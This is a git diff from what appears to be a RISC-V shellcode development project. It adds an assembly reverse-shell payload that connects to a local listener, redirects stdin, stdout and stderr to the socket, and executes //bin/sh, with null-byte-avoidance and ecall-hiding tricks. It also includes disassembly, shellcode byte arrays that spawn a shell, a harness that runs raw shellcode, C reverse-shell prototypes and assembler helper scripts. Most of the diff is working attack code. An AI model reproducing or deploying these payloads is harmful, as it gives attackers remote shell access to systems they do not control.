b/src/asm7c.s new file mode 100644 index 0000000..8842b73 --- /dev/null +++ b/src/asm7c.s @@ -0,0 +1,62 @@ + +bin/asm7c: file format elf64-littleriscv + + +Disassembly of section .text: + +0000000000010078 <_start>: + 10078: 4509 li a0,2 + 1007a: 4585 li a1,1 + 1007c: 4601 li a2,0 + 1007e: 0c600893 li a7,198 + 10082: 00000073 ecall + 10086: 1141 addi sp,sp,-16 + 10088: 4289 li t0,2 + 1008a: e016 sd t0,0(sp) + 1008c: 000042b7 lui t0,0x4 + 10090: 9052829b addiw t0,t0,-1787 + 10094: 00513123 sd t0,2(sp) + 10098: 010002b7 lui t0,0x1000 + 1009c: 07f2829b addiw t0,t0,127 + 100a0: 00513223 sd t0,4(sp) + 100a4: 4581 li a1,0 + 100a6: 00010593 mv a1,sp + 100aa: 4641 li a2,16 + 100ac: 0cb00893 li a7,203 + 100b0: 4281 li t0,0 + 100b2: 00050293 mv t0,a0 + 100b6: 00000073 ecall + 100ba: 4501 li a0,0 + 100bc: 00028513 mv a0,t0 + 100c0: 4581 li a1,0 + 100c2: 4601 li a2,0 + 100c4: 48e1 li a7,24 + 100c6: 00000073 ecall + 100ca: 4501 li a0,0 + 100cc: 00028513 mv a0,t0 + 100d0: 4585 li a1,1 + 100d2: 00000073 ecall + 100d6: 4501 li a0,0 + 100d8: 00028513 mv a0,t0 + 100dc: 4589 li a1,2 + 100de: 00000073 ecall + 100e2: 69623537 lui a0,0x69623 + 100e6: f2f5051b addiw a0,a0,-209 + 100ea: 1161 addi sp,sp,-8 + 100ec: e02a sd a0,0(sp) + 100ee: 687338b7 lui a7,0x68733 + 100f2: f6e8889b addiw a7,a7,-146 + 100f6: 01113223 sd a7,4(sp) + 100fa: 4881 li a7,0 + 100fc: 01110893 addi a7,sp,17 + 10100: 4501 li a0,0 + 10102: fef88513 addi a0,a7,-17 # 68732fef <__global_pointer$+0x687216cf> + 10106: 4601 li a2,0 + 10108: 4581 li a1,0 + 1010a: 4885 li a7,1 + 1010c: 0dc88893 addi a7,a7,220 + 10110: 00000073 ecall + 10114: 4501 li a0,0 + 10116: 4881 li a7,0 + 10118: 05d88893 addi a7,a7,93 + 1011c: 00000073 ecall diff --git a/src/asm8.s b/src/asm8.s new file mode 100644 index 0000000..dfbb7de --- /dev/null +++ b/src/asm8.s @@ -0,0 +1,176 @@ +# And it begins. The core part +# +#10078: 00200513 li a0,2 < +#1007c: 00100593 li a1,1 < +#10080: 00000613 li a2,0 < +#10084: 0c600893 li a7,198 < +#10088: 00000073 ecall < +#1008c: ff010113 addi sp,sp,-16 +#10090: 00200293 li t0,2 < +#10094: 00513023 sd t0,0(sp) < +#10098: 000042b7 lui t0,0x4 < +#1009c: 9052829b addiw t0,t0,-1787 +#100a0: 00513123 sd t0,2(sp) < +#100t0: 010002b7 lui t0,0x1000 < +#100a8: 07f2829b addiw t0,t0,127 +#100ac: 00513223 sd t0,4(sp) < +#100b0: 00000593 li a1,0 < +#100b4: 00010593 mv a1,sp < +#100b8: 01000613 li a2,16 < +#100bc: 0cb00893 li a7,203 < +#100c0: 00000293 li t0,0 < +#100c4: 00050293 mv t0,a0 < +#100c8: 00000073 ecall < +#100cc: 00000513 li a0,0 < +#100d0: 00028513 mv a0,t0 < +#100d4: 00000593 li a1,0 < +#100d8: 00000613 li a2,0 < +#100dc: 01800893 li a7,24 < +#100e0: 00000073 ecall < +#100e4: 00000513 li a0,0 < +#100e8: 00028513 mv a0,t0 < +#100ec: 00100593 li a1,1 < +#100f0: 00000073 ecall < +#100f4: 00000513 li a0,0 < +#100f8: 00028513 mv a0,t0 < +#100fc: 00200593 li a1,2 < +#10100: 00000073 ecall < +#10104: 69623537 lui a0,0x69623 +#10108: f2f5051b addiw a0,a0,-209 +#1010c: ff810113 addi sp,sp,-8 +#10110: 00a13023 sd a0,0(sp) < +#10114: 687338b7 lui a7,0x68733 +#10118: f6e8889b addiw a7,a7,-146 +#1011c: 01113223 sd a7,4(sp) +#10120: 00000893 li a7,0 < +#10124: 01110893 addi a7,sp,17 +#10128: 00000513 li a0,0 < +#1012c: fef88513 addi a0,a7,-17 +#10130: 00000613 li a2,0 < +#10134: 00000593 li a1,0 < +#10138: 00100893 li a7,1 < +#1013c: 0dc88893 addi a7,a7,220 +#10140: 00000073 ecall < +#10144: 00000513 li a0,0 < +#10148: 00000893 li a7,0 < +#1014c: 05d88893 addi a7,a7,93 +#10150: 00000073 ecall < +.section .text +.globl _start + +/* +AF_INET=2 +SOCK_STREAM=1 +inet_addr=0x100007f +port=0x3905 +sizeof(sockaddr_in)=16 +*/ + +/* +struct sockaddr_in { + sa_family_t sin_family; // address family: AF_INET + in_port_t sin_port; // port in network byte order + struct in_addr sin_addr; // internet address +}; +*/ + +_start: + #socket(AF_INET, SOCK_STREAM, 0); + xor a0,a7,a7 + xor a1,a7,a7 + xor a2,a7,a7 + xor a7,a7,a7 + addi a0,a7,0xe2 + addi a0,a0,-0xe0 + addi a1,a7,0xe1 + addi a1,a1,-0xe0 + addi a7,a7,0xee + addi a7,a7,-40 + #ecall #socket fd in a0 + ### + addi sp,sp,-4 + xor a3,a7,a7 + xor a6,a7,a7 + addi a6,a6,0x0073 + sd a6,0(sp) + addi a3,a3,2023 + xor a4,a7,a7 + addi a4,a4,16 + mul a3,a3,a4 + xor a6,a7,a7 + addi a6,a3,0x1f7 + sd a6,4(sp) + xor a3,a7,a7 + addi a3,sp,-0x11 + jalr ra,0x11(a3) #ecall is a fixed value, jalr onto the stack fixes it + ### + #create sockaddr_in + addi sp,sp,-16 + xor a7,a7,a7 + addi a7,a7,0xe2 + addi a7,a7,-0xe0 #sizeof(AF_INET)=2 + sd a7,0(sp) + xor a7,a7,a7 + addi a7,a7,0x52f + xor t0,a7,a7 + addi t0,t0,0xeb + addi t0,t0,-0xe0 + mul a7,a7,t0 #addi a7,a7,0x3905 + sd a7,2(sp) + li a7,0x101017f #127.1.1.1 - LHOST, this will need some logic too fix the fact that null's can exist + sd a7,4(sp) + xor a1,a7,a7 + xori a1,sp,0x010 + addi a1,a1,0x010 + #TODO + #or a1,a1,sp #TODO sp seems to break or + #a2 is already 0 from above + addi a2,a2,0xf0 + addi a2,a2,-0xe0 + #connect(a0,&sa,16) + xor a7,a7,a7 + addi a7,a7,0xee + addi a7,a7,-35 #__NR_connect 203 + #ecall will clobber a0/socket fd + xor t0,a7,a7 + addi t0,a0,1337 #added a value to hide my nulls, this will need subbed later + jalr ra,0x11(a3) #ecall is a fixed value, jalr onto the stack fixes it + #ecall + ##WORK + #dup2(a0,{1,2,3}) + xor a0,a7,a7 + addi a0,t0,-1337 + xor a1,a7,a7 + xor a2,a7,a7 + xor a7,a7,a7 + addi a7,a7,0xee + addi a7,a7,-0xd6 #__NR_dup3 24 + jalr ra,0x11(a3) #ecall is a fixed value, jalr onto the stack fixes it + #ecall + xor a0,a7,a7 + addi a0,t0,-1337 + addi a1,a7,-23 # 24 -> 1 + jalr ra,0x11(a3) #ecall is a fixed value, jalr onto the stack fixes it + #ecall + xor a0,a7,a7 + addi a0,t0,-1337 + addi a1,a7,-22 # 24 -> 2 + jalr ra,0x11(a3) #ecall is a fixed value, jalr onto the stack fixes it + #ecall + + #execve("//bin/sh",NULL,NULL); + li a7,0x69622f2f #ib// + addi sp,sp,-8 + sd a7,0(sp) + li a7,0x68732f6e # hs/n + sd a7,4(sp) + xor a7,a7,a7 + addi a7,sp,0x11 + xor a0,a7,a7 + addi a0,a7,-0x11 + xor a2,a7,a7 + xor a1,a7,a7 + xor a7,a7,a7 + addi a7,a7,221 + jalr ra,0x11(a3) #ecall is a fixed value, jalr onto the stack fixes it + #ecall diff --git a/src/sc1.h b/src/sc1.h new file mode 100644 index 0000000..0865014 --- /dev/null +++ b/src/sc1.h @@ -0,0 +1,16 @@ +/* +0000000000010078 <_start>: + 10078: 451d li a0,7 + 1007a: 05d00893 li a7,93 + 1007e: 00000073 ecall +*/ + +/* +0000000000012000 : + 12000: 4501 li a0,0 + 12002: 4881 li a7,0 + 12004: 05d88893 addi a7,a7,93 + 12008: ecall + + */ +const unsigned char code[] = "\x01\x45\x81\x48\x93\x88\xd8\x05\x73"; diff --git a/src/sc2.h b/src/sc2.h new file mode 100644 index 0000000..00da780 --- /dev/null +++ b/src/sc2.h @@ -0,0 +1,45 @@ +/* +0000000000010078 <_start>: + 10078: 69623537 lui a0,0x69623 + 1007c: f2f5051b addiw a0,a0,-209 + 10080: 1161 addi sp,sp,-8 + 10082: e02a sd a0,0(sp) + 10084: 687338b7 lui a7,0x68733 + 10088: f6e8889b addiw a7,a7,-146 + 1008c: 01113223 sd a7,4(sp) + 10090: 4881 li a7,0 + 10092: 01110893 addi a7,sp,17 + 10096: 4501 li a0,0 + 10098: fef88513 addi a0,a7,-17 # 68732fef <__global_pointer$+0x68721739> + 1009c: 4601 li a2,0 + 1009e: 4581 li a1,0 + 100a0: 4885 li a7,1 + 100a2: 0dc88893 addi a7,a7,220 + 100a6: 00000073 ecall + 100aa: 4501 li a0,0 + 100ac: 4881 li a7,0 + 100ae: 05d88893 addi a7,a7,93 + 100b2: 00000073 ecall + */ +//const unsigned char code[] = "\x37\x35\x62\x69\ +// \x1b\x05\xf5\xf2\ +// \x61\x11\ +// \x2a\xe0\ +// \xb7\x38\x73\x68\ +// \x9b\x88\xe8\xf6\ +// \x23\x32\x11\x01\ +// \x81\x48\ +// \x93\x08\x11\x01\ +// \x01\x45\ +// \x13\x85\xf8\xfe\ +// \x01\x46\ +// \x81\x45\ +// \x85\x48\ +// \x93\x88\xc8\x0d\ +// \x01\x46\ +// \x01\x46\ +// \x73"; + +//TODO stack alignment and why the last two li a2,0's were needed +//const unsigned char code[] = "\x37\x35\x62\x69\x1b\x05\xf5\xf2\x61\x11\x2a\xe0\xb7\x38\x73\x68\x9b\x88\xe8\xf6\x23\x32\x11\x01\x81\x48\x93\x08\x11\x01\x01\x45\x13\x85\xf8\xfe\x01\x46\x81\x45\x85\x48\x93\x88\xc8\x0d\x01\x46\x01\x46\x73"; +const unsigned char code[] = "\x37\x35\x62\x69\x1b\x05\xf5\xf2\x61\x11\x2a\xe0\xb7\x38\x73\x68\x9b\x88\xe8\xf6\x23\x32\x11\x01\x81\x48\x93\x08\x11\x01\x13\x85\xf8\xfe\x01\x46\x81\x45\x85\x48\x93\x88\xc8\x0d\x01\x46\x01\x46\x73"; diff --git a/src/sctester.c b/src/sctester.c index 01eb8cd..f7c9a9a 100644 --- a/src/sctester.c +++ b/src/sctester.c @@ -1,10 +1,18 @@ -#include -#include +#include +#include -unsigned char code[] = ""; +//const unsigned char code[] = "\x00"; +#ifdef SC1 +#include "sc1.h" +#elif SC2 +#include "sc2.h" +#endif -main(){ +int main(){ printf("Shellcode Length: %d\n", strlen(code)); - int (*ret)() = (int(*)())code; - ret(); + int (*func)(); + func = (int (*)()) code; + (int)(*func)(); + printf("Did the process continue?\n"); + return 0; } diff --git a/src/simple1.c b/src/simple1.c index ce5c969..5a97c3c 100644 --- a/src/simple1.c +++ b/src/simple1.c @@ -1,3 +1,3 @@ -main() { +int main() { return 8; } diff --git a/src/simple2.c b/src/simple2.c index d758568..84c2f85 100644 --- a/src/simple2.c +++ b/src/simple2.c @@ -1,5 +1,5 @@ #include -main() { +int main() { execve("/bin/sh", NULL, NULL); } diff --git a/src/simple3.c b/src/simple3.c index 7247456..4169038 100644 --- a/src/simple3.c +++ b/src/simple3.c @@ -1,3 +1,4 @@ +#include #include #include #include @@ -11,7 +12,8 @@ int main() { sa.sin_family = AF_INET; sa.sin_addr.s_addr = inet_addr("127.0.0.1"); sa.sin_port = htons(1337); - + + //printf("AF_INET=%d\nSOCK_STREAM=%d\ninet_addr=0x%x\nport=0x%x\nsizeof(sockaddr_in)=%d\n", AF_INET, SOCK_STREAM, inet_addr("127.0.0.1"), htons(1337), sizeof(sa)); s = socket(AF_INET, SOCK_STREAM, 0); connect(s, (struct sockaddr *)&sa, sizeof(sa)); dup2(s, 0); diff --git a/util/boot.sh b/util/boot.sh new file mode 100755 index 0000000..7924124 --- /dev/null +++ b/util/boot.sh @@ -0,0 +1,14 @@ +#!/bin/sh +qemu-system-riscv64 \ + -nographic \ + -machine virt \ + -smp 4 \ + -m 2G \ + -kernel bbl \ + -object rng-random,filename=/dev/urandom,id=rng0 \ + -device virtio-rng-device,rng=rng0 \ + -append "console=ttyS0 ro root=/dev/vda enforcing=0" \ + -device virtio-blk-device,drive=hd0 \ + -drive file=fedora.raw,format=raw,id=hd0 \ + -device virtio-net-device,netdev=usernet \ + -netdev user,id=usernet,hostfwd=tcp::10000-:22 diff --git a/util/instr_base.tbl b/util/instr_base.tbl new file mode 100644 index 0000000..f57dafe --- /dev/null +++ b/util/instr_base.tbl @@ -0,0 +1,7 @@ +#type:instr: opcode: immed : func7 : func3 : rs1 : rs2 : rd +R:x0,x0,x0:0000003F:00000000:FE000000:00003800:0007C000:01F80000:000007C0 +I:x0,0(x0):0000003F:FFF80000:00000000:00003800:0007C000:00000000:000007C0 +S:x0,0(x0):0000003F:FE0007C0:00000000:00003800:0007C000:01F80000:00000000 +SB:x0,0(x0):0000003F:FE0007C0:00000000:00003800:0007C000:01F80000:00000000 +U:x0,0:0000003F:FFFFF800:00000000:00000000:00000000:00000000:000007C0 +UJ:x0,0:0000003F:FFFFF800:00000000:00000000:00000000:00000000:000007C0 diff --git a/util/instr_c.tbl b/util/instr_c.tbl new file mode 100644 index 0000000..4984bae --- /dev/null +++ b/util/instr_c.tbl @@ -0,0 +1,10 @@ +#type:instr: opcode: immed : func7 : func3 : rs1 : rs2 : rd +#R:x0,x0,x0:0000003F:00000000:FE000000:00003800:0007C000:01F80000:000007C0 +CR: +CI: +CSS: +CIW: +CL: +CS: +CB: +CJ: diff --git a/util/trashdis.sh b/util/trashdis.sh new file mode 100755 index 0000000..7f5bb45 --- /dev/null +++ b/util/trashdis.sh @@ -0,0 +1,37 @@ +#!/bin/sh +export ARCH="rv64g" +export CARCH="rv64gc" + +while :; do + case $1 in + -h|-\?|--help) + printf "echo 'li a7,0xfff' | trashdis.sh\\ntrashdis.sh 'li a7,0xfff'\\n-c - use compressed instructions\\n-h - print this help\\n" + exit + ;; + -c|--compressed) + ARCH="${CARCH}" + ;; + -?*) + printf 'Unknown option: %s\n' "$1" >&2 + ;; + *) + break + esac + shift +done + +if [ -p /dev/stdin ]; then + while IFS= read i; do + printf "%s\n" "${i}"| \ + gcc -x assembler -march=${ARCH} -c -o /tmp/semiinline.o - \ + && objdump -D /tmp/semiinline.o | \ + tr '\t' ' ' | tr -s ' ' | cut -d ' ' -f3-| \ + sed '/^$/d' | grep -v -e "section \.text:" -e "format elf" + done +else + printf "%s\n" "$*" | \ + gcc -x assembler -march=${ARCH} -c -o /tmp/semiinline.o - \ + && objdump -D /tmp/semiinline.o | \ + tr '\t' ' ' | tr -s ' ' | cut -d ' ' -f3-| \ + sed '/^$/d' | grep -v -e "section \.text:" -e "format elf" +fi diff --git a/util/trashfmt.py b/util/trashfmt.py new file mode 100755 index 0000000..cc9905b --- /dev/null +++ b/util/trashfmt.py @@ -0,0 +1,4 @@ +#!/usr/bin/env python3 +import sys +x = '{:032b}'.format(int(sys.argv[1], 16)) +print(' '.join([x[i:i+8] for i in range(0,len(x),8)]))